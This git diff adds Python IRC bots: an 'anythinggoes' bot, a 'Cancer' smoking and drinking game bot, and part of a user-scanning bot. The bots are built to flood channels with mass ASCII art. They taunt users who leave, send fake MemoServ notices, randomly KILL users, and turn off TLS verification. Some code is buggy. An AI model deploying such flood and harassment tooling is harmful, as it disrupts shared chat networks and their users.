+ print('[~] - '+line)
+ args = line.split()
+ if args[0] == 'PING':
+ self._raw('PONG ' + args[1][1:])
+ elif args[1] == '001': # RPL_WELCOME
+ self._raw('MODE AMBERALERT +BDd')
+ self._raw('PRIVMSG NickServ IDENTIFY AMBERALERT CHANGEME')
+ await asyncio.sleep(3)
+ self._raw('JOIN #superbowl')
+ elif args[1] == '353' and len(args) >= 6: # RPL_NAMREPLY
+ chan = args[4]
+ if chan == '#superbowl':
+ names = ' '.join(args[5:])[2:].split()
+ self._event_names(names)
+ elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
+ chan = args[3]
+ if chan == '#superbowl':
+ if self.scanning:
+ asyncio.create_task(self._event_end_of_names())
+ elif not self.looping:
+ self.looping = True
+ asyncio.create_task(self._loop())
+ elif args[1] == '317' and len(args) >= 5: # RPL_WHOISIDLE
+ nick = args[3]
+ idle = args[4]
+ if int(idle) >= 604800: # 1W
+ self.names['idle'].append(nick)
+
+# Start
+if __name__ == '__main__':
+ Bot = IRC()
+ asyncio.run(Bot._connect())
+\ No newline at end of file
diff --git a/irc/bots/anythinggoes/anythinggoes.py b/irc/bots/anythinggoes/anythinggoes.py
@@ -0,0 +1,269 @@
+# -*- coding: utf-8 -*-
+#!/usr/bin/env python
+# THEGAME IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
+import random,socket,ssl,threading,time
+
+# Config
+admin_ident = 'acidvegas!*@*'
+channel = '#anythinggoes'
+nickserv_password = 'CHANGEME'
+operator_password = 'CHANGEME'
+throttle_msg = 0.15
+
+# Formatting Control Characters / Color Codes
+bold = '\x02'
+italic = '\x1D'
+underline = '\x1F'
+reverse = '\x16'
+reset = '\x0f'
+white = '00'
+black = '01'
+blue = '02'
+green = '03'
+red = '04'
+brown = '05'
+purple = '06'
+orange = '07'
+yellow = '08'
+light_green = '09'
+cyan = '10'
+light_cyan = '11'
+light_blue = '12'
+pink = '13'
+grey = '14'
+light_grey = '15'
+
+def color(msg,foreground,background=None):return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
+def error(msg,reason):print(f'{get_time()} | [!] - {msg} ({reason})')
+def get_time():return time.strftime('%I:%M:%S')
+def random_str(size):return ''.join(random.choice('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ') for _ in range(size))
+
+class Functions:
+ def banana_bomb():
+ for i in range(random.randint(5,10)):
+ spaces=random.randint(1,120)
+ for line in banana_data:
+ Bot.sendmsg(channel,' '*spaces+line)
+
+ def chat_rain(amount):
+ words = ('ok','tru','same','wow','nice','XD','ok','np','sup','cool','nmu','lol','ah','srry','jk')
+ for i in range(amount):
+ Bot.sendmsg(channel,' '*random.randint(3,25)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)+' '*random.randint(10,50)+random.choice(words))
+
+ def crab_flood(amount):
+ counter=1
+ notify=random.randint(100,999)
+ if amount>=1000000:
+ amount=1000000
+ Bot.sendmsg(channel,color('GENTLEMEN! BEHOLD!',red))
+ Bot.sendmsg(channel,color('THE MILLION CRAB MARCH!',red))
+ for i in range(amount):
+ spaces=random.randint(1,120)
+ for line in crab_data:
+ Bot.sendmsg(channel,' '*spaces+line)
+ counter+=1
+ if counter==notify:
+ spaces=random.randint(1,120)
+ Bot.sendmsg(channel,color(' '*spaces+str(i)+' MOTHER FUCKING CRABS !!!',red))
+ counter=1
+
+ def grave(nick):
+ length=len(nick)
+ Bot.sendmsg(channel,color(' '*(length+8),light_blue,light_blue))
+ Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ',grey,grey),color(' '*length,light_grey,light_grey),color(' ',light_blue,light_blue)))
+ Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_blue,light_blue)))
+ Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color('R I P'.center(length+2),black,light_grey),color(' ',light_green,light_green)))
+ Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(nick.upper().center(length+2),black,light_grey),color(' ',light_green,light_green)))
+ Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
+ Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color('2018'.center(length+2),black,light_grey),color(' ', light_green,light_green)))
+ Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
+ Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ', light_green,light_green)))
+
+ def rain(word,amount):
+ for i in range(amount):
+ Bot.sendmsg(channel,' '*random.randint(3,25)+word+' '*random.randint(10,50)+word+' '*random.randint(10,50)+word)
+
+ def rope(length):
+ spaces=50
+ prev=None
+ for i in range(length):
+ if random.choice((True,False)):
+ if prev!='╱':spaces+=1
+ char='╲'
+ else:
+ if prev!='╲':spaces-=1
+ char='╱'
+ Bot.sendmsg(channel,' '*spaces+char)
+ prev=char
+ Bot.sendmsg(channel,' '*(spaces-2)+'(;))')
+
+ def wave(msg,lines,spaces,hilite):
+ rainbow=['04','08','09','11','12','13']
+ spacer=15
+ spaces+=spacer
+ toggle=True
+ data=list()
+ for i in range(lines):
+ if hilite:
+ Bot.sendmsg(channel,'{0}{1}{2}{3}'.format((Bot.nicks[0]+': ').ljust(spacer),color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
+ Bot.nicks.append(Bot.nicks.pop(0))
+ else:
+ Bot.sendmsg(channel, '{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
+ rainbow.append(rainbow.pop(0))
+ if toggle:spacer+=1
+ else:spacer-=1
+ if spacer==spaces:toggle=False
+ elif spacer==15:toggle=True
+
+ def worm(length):
+ spacer=random.randint(10,100)
+ Bot.sendmsg(channel,'{0} {1}{2}'.format(' '*spacer,color('░▒▓',pink),color('▓▒░',pink)))
+ Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
+ Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
+ for i in range(length):
+ Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
+ if random.choice((True,False)):spacer += 1
+ else:spacer-=1
+ Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('_ _',black,pink),color('▓▒░',pink)))
+ Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('o o',black,pink),color('▓▒░',pink)))
+ Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
+
+class WormNet(threading.Thread):
+ def __init__(self):
+ self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+ threading.Thread.__init__(self)
+ def run(self):
+ Bot.wormnet=True
+ try:
+ self.sock.connect(('wormnet1.team17.com',6667))
+ self.raw('PASS ELSILRACLIHP')
+ self.raw('USER Username hostname servername :48 0 US 3.7.2.1')
+ self.raw('NICK SUPERNETS')
+ while True:
+ data=self.sock.recv(1024).decode('utf-8')
+ for line in (line for line in data.split('\r\n') if len(line.split())>=2):
+ Bot.sendmsg_wormnet('raw',cyan,line)
+ args=line.split()
+ if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.')
+ elif args[0]=='PING':self.raw('PONG '+args[1][1:])
+ elif args[1]=='001':self.raw('JOIN '+channel)
+ elif args[1]=='366':Bot.sendmsg_wormnet('join',green,'Joined #anythinggoes channel!')
+ except (UnicodeDecodeError,UnicodeEncodeError):pass
+ except Exception as ex:
+ Bot.sendmsg_wormnet('error',red,'Unknown error occured!',ex)
+ self.sock.close()
+ Bot.wormnet=False
+ Bot.sendmsg_wormnet('disconnected',red,'Lost connection to the WormNet relay!')
+ def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
+ def sendmsg(self,target,msg):self.raw(f'PRIVMSG {target} :{msg}')
+
+class IRC(object):
+ def __init__(self):
+ self.nicks=list()
+ self.echo=False
+ self.sock=None
+ self.wormnet=False
+
+ def connect(self):
+ try:
+ self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+ self.sock.connect(('irc.supernets.org',6667))
+ self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
+ self.raw('NICK THEGAME')
+ while True:
+ data = self.sock.recv(1024).decode('utf-8')
+ print(data)
+ for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+ print(f'{get_time()} | [~] - {line}')
+ args = line.split()
+ if args[0]=='PING':
+ self.raw('PONG '+args[1][1:])
+ elif args[1]=='001':
+ self.raw('MODE THEGAME +BDd')
+ self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
+ self.raw(f'OPER thegame {operator_password}')
+ self.raw('JOIN '+channel)
+ elif args[1]=='433':self.raw('NICK THE_GAME_'+str(random.randint(10,99)))
+ elif args[1]=='353' and len(args)>=6:self.nicks+=' '.join(args[5:])[2:].split()
+ elif args[1]=='JOIN' and len(args)==3:self.raw('NOTICE {0} :Thank you for joining #AnythingGoes, you have {1} memo(s) waiting. Please type /server MemoServ read to check your messages.'.format(args[0].split('!')[0][1:],color(random.randint(1,3),red)))
+ elif args[1]=='PART' and len(args)>=3:
+ self.sendmsg(args[2],color('EMO-PART DETECTED',red))
+ self.sendmsg(args[0].split('!')[0][1:],'bet u wont come back pussy...')
+ elif args[1]=='PRIVMSG' and len(args)>=4:
+ ident=args[0][1:]
+ nick=args[0].split('!')[0][1:]
+ chan=args[2]
+ msg= ' '.join(args[3:])[1:]
+ if chan==channel:self.event_message(ident,nick,chan,msg)
+ elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
+ except(UnicodeDecodeError,UnicodeEncodeError):pass
+ except Exception as ex:
+ print(ex)
+ self.sock.close()
+ time.sleep(15)
+ self.connect()
+
+ def event_message(self,ident,nick,chan,msg):
+ args=msg.split()
+ if msg[:1]=='!':
+ if msg=='!bananabomb':Functions.banana_bomb()
+ elif msg=='!crate':
+ for line in crate_data:self.sendmsg(channel,line)
+ elif msg=='!echo':
+ self.echo=False if self.echo else True
+ elif msg=='refresh':
+ self.nicks=list()
+ self.raw('NAMES #anythinggoes')
+ elif msg=='!wormnet':WORMS.start()
+ elif msg=='!worms':
+ for line in worms_data:self.sendmsg(channel, line)
+ elif len(args)==2:
+ if args[1].isdigit():
+ amount=int(args[1])
+ if args[0]=='!chatrain':
+ if amount<=100 or ident==admin_ident:Functions.chat_rain(amount)
+ else:self.sendmsg(chan,'Max: 100')
+ elif msg.startswith('!crabflood'):
+ if amount<=10 or ident==admin_ident:Functions.crab_flood(amount)
+ else:self.sendmsg(chan,'Max: 10')
+ elif msg.startswith('!rope'):
+ if amount<=100 or ident==admin_ident:Functions.rope(amount)
+ else:self.sendmsg(chan,'Max: 100')
+ elif msg.startswith('!worm'):
+ if amount<=100 or ident==admin_ident:Functions.worm(amount)
+ else:self.sendmsg(chan,'Max: 100')
+ elif args[0]=='!rain' and len(args)>=3:
+ amount=args[1]
+ data=' '.join(args[2:])
+ if args[1].isdigit():
+ if int(args[1])<=100 or ident==admin_ident:Functions.rain(data,int(args[1]))
+ else:self.sendmsg(chan,'Max: 100')
+ elif args[0] in ('!wave','!wavehl') and len(args)>=4:
+ lines =args[1]
+ spaces=args[2]
+ data=' '.join(args[3:])
+ if lines.isdigit() and spaces.isdigit():
+ if int(lines)<=100 or ident==admin_ident:
+ if args[0]=='!wave':
+ Functions.wave(data,int(lines),int(spaces),False)
+ else:
+ Functions.wave(data,int(lines),int(spaces),True)
+ else:self.sendmsg(chan,'Max: 100')
+ elif self.echo:self.sendmsg(chan,msg)
+
+ def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
+ def sendmsg(self,target,msg):
+ time.sleep(throttle_msg)
+ self.raw(f'PRIVMSG {target} :{msg}')
+ def sendmsg_wormnet(self,title,title_color,msg,extra=None):
+ if extra:self.sendmsg(channel,'[{0}] [{1}] {2} {3}'.format(color('WORMNET',pink),color(title,title_color),msg,color('({0})'.format(extra),grey)))
+ else:self.sendmsg(channel,'[{0}] [{1}] {2}'.format(color('WORMNET',pink),color(title,title_color),msg))
+
+# Main
+banana_data=open('data/banana.txt').readlines()
+crab_data=open('data/crab.txt').readlines()
+crate_data=open('data/crate.txt').readlines()
+worms_data=open('data/worms.txt').readlines()
+Bot=IRC()
+WORMS=WormNet()
+Bot.connect()
diff --git a/irc/anythinggoes/data/banana.txt b/irc/bots/anythinggoes/data/banana.txt
diff --git a/irc/anythinggoes/data/crab.txt b/irc/bots/anythinggoes/data/crab.txt
diff --git a/irc/anythinggoes/data/crate.txt b/irc/bots/anythinggoes/data/crate.txt
diff --git a/irc/anythinggoes/data/worms.txt b/irc/bots/anythinggoes/data/worms.txt
diff --git a/irc/bots/cancer.py b/irc/bots/cancer.py
@@ -0,0 +1,500 @@
+#!/usr/bin/env python
+# Cancer IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
+
+'''
+WARNING: This bot highly encourages flooding!
+
+Commands:
+ @cancer | Information about the bot.
+ @cancer stats | Return bot statistics for the channel
+ !100 | 1 in 100 chance to get a 100 (big !smoke)
+ !beer [nick] | Grab a beer or toss one to someone.
+ !chainsmoke | Start a game of Chain Smoke
+ !chug | Sip beer
+ !dragrace | Start a game of Drag Race
+ !extendo | 1 in 100 chance to get an EXTENDO (big !toke)
+ !fatfuck | 1 in 100 chance to get a FATFUCK (fat !smoke/!toke)
+ !letschug | LET'S FUCKING CHUG!
+ !letstoke | LET'S FUCKING TOKE!
+ !toke | Hit joint
+ !smoke | Hit cigarette
+'''
+
+import os
+import random
+import socket
+import threading
+import time
+
+# Connection
+server = 'irc.server.com'
+port = 6697
+use_ipv6 = False
+use_ssl = True
+ssl_verify = False
+vhost = None
+channel = '#chats'
+key = None
+
+# Certificate
+cert_key = None
+cert_file = None
+cert_pass = None
+
+# Identity
+nickname = 'CANCER'
+username = 'smokesome' # vHost can be CIG@ARETTE or C@NCER for vanity purposes
+realname = 'acid.vegas/random'
+
+# Login
+nickserv_password = None
+network_password = None
+operator_password = None
+
+# Settings
+user_modes = None
+
+# Globals (DO NOT EDIT)
+stat_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'stats.log')
+
+# Formatting Control Characters / Color Codes
+bold = '\x02'
+italic = '\x1D'
+underline = '\x1F'
+reverse = '\x16'
+reset = '\x0f'
+white = '00'
+black = '01'
+blue = '02'
+green = '03'
+red = '04'
+brown = '05'
+purple = '06'
+orange = '07'
+yellow = '08'
+light_green = '09'
+cyan = '10'
+light_cyan = '11'
+light_blue = '12'
+pink = '13'
+grey = '14'
+light_grey = '15'
+
+def color(msg, foreground, background=None):
+ return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
+
+def debug(msg):
+ print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+ print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
+
+def get_time():
+ return time.strftime('%I:%M:%S')
+
+def luck(odds):
+ return True if random.randint(1,odds) == 1 else False
+
+def stats(stat_type, stat_action):
+ option = {'chug':0,'smoke':1,'toke':2}
+ if stat_action == 'add':
+ stats = [int(stat) for stat in open(stat_file).read().split().split(':')]
+ with open(stat_file, 'w') as stats_file:
+ stats[option[stat_type]]+=1
+ stats_file.write(':'.join([str(stat) for stat in stats]))
+ elif stat_action == 'get':
+ return int(open(stat_file).read().split(':')[option[stat_type]])
+
+class IRC(object):
+ def __init__(self):
+ self.chain_smoked = 0
+ self.drag_race_start = 0
+ self.fat = False
+ self.event = None
+ self.nicks = list()
+ self.sock = None
+ self.stats = {'chugged':0,'hits':25,'sips':8,'smoked':0,'toked':0}
+ self.status = True
+
+ def run(self):
+ threading.Thread(target=Games.loop).start()
+ self.connect()
+
+ def connect(self):
+ try:
+ self.create_socket()
+ self.sock.connect((server, port))
+ self.register()
+ except socket.error as ex:
+ error('Failed to connect to IRC server.', ex)
+ Events.disconnect()
+ else:
+ self.listen()
+
+ def create_socket(self):
+ self.sock = socket.socket(socket.AF_INET6) if use_ipv6 else socket.socket()
+ if vhost:
+ self.sock.bind((vhost, 0))
+ if use_ssl:
+ ctx = ssl.SSLContext()
+ if cert_file:
+ ctx.load_cert_chain(cert_file, cert_key, cert_pass)
+ if ssl_verify:
+ ctx.verify_mode = ssl.CERT_REQUIRED
+ ctx.load_default_certs()
+ else:
+ ctx.check_hostname = False
+ ctx.verify_mode = ssl.CERT_NONE
+ self.sock = ctx.wrap_socket(self.sock)
+
+ def listen(self):
+ while True:
+ try:
+ data = self.sock.recv(1024).decode('utf-8')
+ for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+ debug(line)
+ Events.handle(line)
+ except (UnicodeDecodeError,UnicodeEncodeError):
+ pass
+ except Exception as ex:
+ error('Unexpected error occured.', ex)
+ break
+ Events.disconnect()
+
+ def register(self):
+ if network_password:
+ Commands.raw('PASS ' + network_password)
+ Commands.raw(f'USER {username} 0 * :{realname}')
+ Commands.raw('NICK ' + nickname)
+
+class Commands:
+ def action(chan, msg):
+ Commands.sendmsg(chan, f'\x01ACTION {msg}\x01')
+
+ def join_channel(chan, key=None):
+ Commands.raw(f'JOIN {chan} {key}') if key else Commands.raw('JOIN ' + chan)
+
+ def kill(nick, reason):
+ Commands.raw(f'KILL {nick} {reason}')
+
+ def notice(target, msg):
+ Commands.raw(f'NOTICE {target} :{msg}')
+
+ def raw(msg):
+ Bot.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+ def sendmsg(target, msg):
+ Commands.raw(f'PRIVMSG {target} :{msg}')
+
+class Events:
+ def connect():
+ if user_modes:
+ Commands.raw(f'MODE {nickname} +{user_modes}')
+ if nickserv_password:
+ Commands.sendmsg('NickServ', f'IDENTIFY {nickname} {nickserv_password}')
+ if operator_password:
+ Commands.raw(f'OPER {username} {operator_password}')
+ Commands.join_channel(channel, key)
+
+ def disconnect():
+ Bot.chain_smoked = 0
+ Bot.drag_race_start = 0
+ Bot.event = None
+ Bot.nicks = list()
+ Bot.status = True
+ Bot.sock.close()
+ time.sleep(10)
+ Bot.connect()
+
+ def message(nick, chan, msg):
+ if Bot.status:
+ args = msg.split()
+ if msg == '@cancer':
+ Commands.sendmsg(chan, bold + 'CANCER IRC Bot - Developed by acidvegas in Python - https://acid.vegas/random')
+ elif msg == '@cancer stats':
+ Commands.sendmsg(chan, 'Chugged : {0} beers {1}'.format(color('{:,}'.format(stats('chug','get')*24), light_blue), color('({:,} cases)'.format(stats('chug','get')), grey)))
+ Commands.sendmsg(chan, 'Smoked : {0} cigarettes {1}'.format(color('{:,}'.format(stats('smoke','get')*20), light_blue), color('({:,} packs)'.format(stats('smoke','get')), grey)))
+ Commands.sendmsg(chan, 'Toked : {0} joints {1}'.format(color('{:,}'.format(stats('toke','get')*3), light_blue), color('({:,} grams)'.format(stats('toke','get')), grey)))
+ elif msg in ('!100','!extendo') and luck(100):
+ Bot.stats['hits'] = 100
+ if msg == '!100':
+ Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', white, red), color('AWWW SHIT, IT\'S TIME FOR THAT NEWPORT 100', red, white), color(' !!! ', white, red)))
+ else:
+ Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('OHHH FUCK, IT\'S TIME FOR THAT 420 EXTENDO', yellow, green), color(' !!! ', red, green)))
+ elif args[0] == '!beer':
+ if len(args) == 1:
+ target = nick
+ elif len(args) == 2:
+ target = args[1]
+ beer = '{0}{1}{2}'.format(color(' ', white, white), color(' BUD ', white, random.choice((blue,brown))), color('c', grey, white))
+ Commands.action(chan, f'throws {color(target, white)} an ice cold {beer} =)')
+ elif msg == '!chainsmoke' and not Bot.event:
+ threading.Thread(target=Games.chain_smoke, args=(chan,)).start()
+ elif msg == '!chug':
+ if Bot.event == 'letschug':
+ if nick in Bot.nicks:
+ Commands.sendmsg(chan, color(nick + ' you are already chuggin u wastoid!', light_green))
+ else:
+ Bot.nicks.append(nick)
+ Commands.sendmsg(chan, color(nick + ' joined the CHUG session!', light_green))
+ else:
+ if Bot.stats['sips'] <= 0:
+ Bot.stats['sips'] = 8
+ Bot.stats['chugged'] += 1
+ if Bot.stats['chugged'] == 24:
+ stats('chug','add')
+ Bot.stats['chugged'] = 0
+ for line in Generate.mug(Bot.stats['sips']):
+ Commands.sendmsg(chan, line)
+ Bot.stats['sips'] -= random.choice((1,2))
+ elif msg == '!dragrace' and not Bot.event:
+ threading.Thread(target=Games.drag_race).start()
+ elif msg == '!fatfuck' and luck(100):
+ Bot.fat = True
+ Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('AWWW SHIT, IT\'S TIME FOR THAT MARLBORO FATFUCK', black, green), color(' !!! ', red, green)))
+ elif msg == '!letschug' and not Bot.event:
+ threading.Thread(target=Games.chug, args=(nick,chan)).start()
+ elif msg == '!letstoke' and not Bot.event:
+ threading.Thread(target=Games.toke, args=(nick,chan)).start()
+ elif msg in ('!smoke','!toke'):
+ option = 'smoked' if msg == '!smoke' else 'toked'
+ if msg == '!toke' and Bot.event == 'letstoke':
+ if nick in Bot.nicks:
+ Commands.sendmsg(chan, color(nick + ' you are already toking u stoner!', light_green))
+ else:
+ Bot.nicks.append(nick)
+ Commands.sendmsg(chan, color(nick + ' joined the TOKE session!', light_green))
+ else:
+ if Bot.stats['hits'] <= 0:
+ Bot.stats['hits'] = 25
+ Bot.stats[option] += 1
+ if Bot.fat:
+ Bot.fat = False
+ if Bot.stats[option] == 20:
+ stats(option[:-1],'add')
+ Bot.stats[option] = 0
+ if Bot.event == 'chainsmoke' and msg == '!smoke':
+ Bot.nicks[nick] = Bot.nicks[nick]+1 if nick in Bot.nicks else 1
+ Bot.chain_smoked += 1
+ elif Bot.event == 'dragrace' and msg == '!smoke':
+ Commands.sendmsg(chan, 'It took {0} seconds for {1} to smoke a cigarette!'.format(color('{:.2f}'.format(time.time()-Bot.drag_race_start), light_blue), color(chan, white)))
+ Bot.event = None
+ Bot.drag_race_start = 0
+ elif luck(25):
+ Commands.kill(nick, f'CANCER KILLED {nick.upper()} - QUIT SMOKING TODAY! +1 800-QUIT-NOW')
+ else:
+ object = Generate.cigarette(Bot.stats['hits']) if msg == '!smoke' else Generate.joint(Bot.stats['hits'])
+ cigarette = Generate.cigarette(Bot.stats['hits'])
+ if Bot.fat:
+ Commands.sendmsg(chan, object)
+ Commands.sendmsg(chan, object)
+ Commands.sendmsg(chan, object)
+ else:
+ Commands.sendmsg(chan, object)
+ Bot.stats['hits'] -= random.choice((1,2))
+
+ def handle(data):
+ args = data.split()
+ if data.startswith('ERROR :Closing Link:'):
+ raise Exception('Connection has closed.')
+ elif args[0] == 'PING':
+ Commands.raw('PONG ' + args[1][1:])
+ elif args[1] == '001':
+ Events.connect()
+ elif args[1] == '433':
+ error('The bot is already running or nick is in use.')
+ elif args[1] == 'INVITE' and len(args) == 4:
+ invited = args[2]
+ chan = args[3][1:]
+ if invited == nickname and chan == channel:
+ Commands.join_channel(channel, key)
+ elif args[1] == 'KICK' and len(args) >= 4:
+ chan = args[2]
+ kicked = args[3]
+ if kicked == nickname and chan == channel:
+ time.sleep(3)
+ Commands.join_channel(channel, key)
+ elif args[1] == 'PART' and len(args) >= 3:
+ chan = args[2]
+ if chan == channel:
+ nick = args[0].split('!')[0][1:]
+ Commands.action(nick, f'blows smoke in {nick}\'s face...')
+ elif args[1] == 'PRIVMSG' and len(args) >= 4:
+ nick = args[0].split('!')[0][1:]
+ chan = args[2]
+ msg = data.split(f'{args[0]} PRIVMSG {chan} :')[1]
+ if chan == channel:
+ Events.message(nick, chan, msg)
+
+class Games:
+ def chain_smoke(chan):
+ Bot.event = 'chainsmoke'
+ Bot.status = False
+ Bot.nicks = dict()
+ try:
+ Commands.notice(chan, 'Starting a round of {0} in {1} seconds!'.format(color('ChainSmoke', red), color('10', white)))
+ Commands.notice(chan, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. Once you finish a cigarette, a new one will be lit for you. You will have 60 seconds to chain smoke as many cigarettes as possible.', yellow)))
+ time.sleep(10)
+ Commands.action(chan, 'Round starts in 3...')
+ time.sleep(1)
+ Commands.action(chan, '2...')
+ time.sleep(1)
+ Commands.action(chan, '1...')
+ time.sleep(1)
+ Commands.action(chan, color('GO', light_green))
+ Bot.status = True
+ time.sleep(60)
+ Bot.status = False
+ Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow))
+ time.sleep(1)
+ Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow))
+ time.sleep(1)
+ Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow))
+ Commands.sendmsg(chan, color('Counting cigarette butts...', yellow))
+ time.sleep(10)
+ Commands.sendmsg(chan, '{0} smoked {1} cigarettes!'.format(chan, color(str(Bot.chain_smoked), light_blue)))
+ if Bot.nicks:
+ guy = max(Bot.nicks, key=Bot.nicks.get)
+ Commands.sendmsg(chan, '{0} smoked the most cigarettes... {1}'.format(guy, Bot.nicks[guy]))
+ except Exception as ex:
+ error('Error occured in chain smoke event!', ex)
+ finally:
+ Bot.chain_smoked = 0
+ Bot.nicks = list()
+ Bot.event = None
+ Bot.status = True
+
+ def chug(nick, chan):
+ Bot.event = 'letschug'
+ Bot.nicks.append(nick)
+ try:
+ Commands.sendmsg(chan, color(f'OH SHIT {nick} is drunk', light_green))
+ Commands.notice(chan, color(f'Time to TOTALLY CHUG in {chan.upper()} in 30 seconds, type !chug to join', light_green))
+ time.sleep(10)
+ Commands.sendmsg(chan, color('LOL we CHUG in 20 get ready ' + ' '.join(Bot.nicks), light_green))
+ time.sleep(10)
+ Commands.sendmsg(chan, color('YO we CHUG in 10 get ready ' + ' '.join(Bot.nicks), light_green))
+ time.sleep(5)
+ Commands.sendmsg(chan, color('alright CHUG in 5', light_green))
+ time.sleep(1)
+ Commands.sendmsg(chan, color('4..', light_green))
+ time.sleep(1)
+ Commands.sendmsg(chan, color('3..', light_green))
+ time.sleep(1)
+ Commands.sendmsg(chan, color('2..', light_green))
+ time.sleep(1)
+ Commands.sendmsg(chan, color('1..', light_green))
+ time.sleep(1)
+ Commands.sendmsg(chan, color(' '.join(Bot.nicks) + ' .. CHUG!', light_green))
+ except Exception as ex:
+ error('Error occured in chug event!', ex)
+ finally:
+ Bot.event = None
+ Bot.nicks = list()
+
+ def drag_race():
+ Bot.event = 'dragrace'
+ Bot.status = False
+ Bot.hits = 25
+ try:
+ Commands.notice(channel, 'Starting a round of {0} in {1} seconds!'.format(color('DragRace', red), color('10', white)))
+ Commands.notice(channel, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. You will have 10 seconds to smoke as quickly as possible.', yellow)))
+ time.sleep(10)
+ Commands.action(channel, 'Round starts in 3...')
+ time.sleep(1)
+ Commands.action(channel, '2...')
+ time.sleep(1)
+ Commands.action(channel, '1...')
+ time.sleep(1)
+ Commands.action(channel, color('GO', light_green))
+ Bot.drag_race_start = time.time()
+ except Exception as ex:
+ error('Error occured in the drag race event!', ex)
+ finally:
+ Bot.status = True
+
+ def loop():
+ while True:
+ if get_time()[:-3] == '04:20':
+ try:
+ Commands.sendmsg(channel, color('S M O K E W E E D E R R D A Y', light_green))
+ Commands.sendmsg(channel, color('ITZ DAT MUTHA FUCKN 420 BITCH', yellow))
+ Commands.sendmsg(channel, color('LIGHT UP A NICE GOOD FAT FUCK', red))
+ time.sleep(43000)
+ except Exeption as ex:
+ error('Error occured in loop!', ex)
+ else:
+ time.sleep(30)
+
+ def toke(nick, chan):
+ Bot.event = 'letstoke'
+ Bot.nicks.append(nick)
+ try:
+ Commands.sendmsg(channel, color(f'YO {nick} is high', light_green))
+ Commands.notice(channel, color(f'Time to FUCKING toke in {chan.upper()}, type !toke to join', light_green))
+ time.sleep(10)
+ Commands.sendmsg(channel, color('OH SHIT we toke in 20 get ready ' + ' '.join(Bot.nicks), light_green))
+ time.sleep(10)
+ Commands.sendmsg(channel, color('OH SHIT we toke in 10 get ready ' + ' '.join(Bot.nicks), light_green))
+ time.sleep(5)
+ Commands.sendmsg(channel, color('alright toke in 5', light_green))
+ time.sleep(1)
+ Commands.sendmsg(channel, color('4..', light_green))
+ time.sleep(1)
+ Commands.sendmsg(channel, color('3..', light_green))
+ time.sleep(1)
+ Commands.sendmsg(channel, color('2..', light_green))
+ time.sleep(1)
+ Commands.sendmsg(channel, color('1..', light_green))
+ time.sleep(1)
+ Commands.sendmsg(channel, color(' '.join(Bot.nicks) + ' .. toke!', light_green))
+ except Exception as ex:
+ error('Error occured in toke event!', ex)
+ finally:
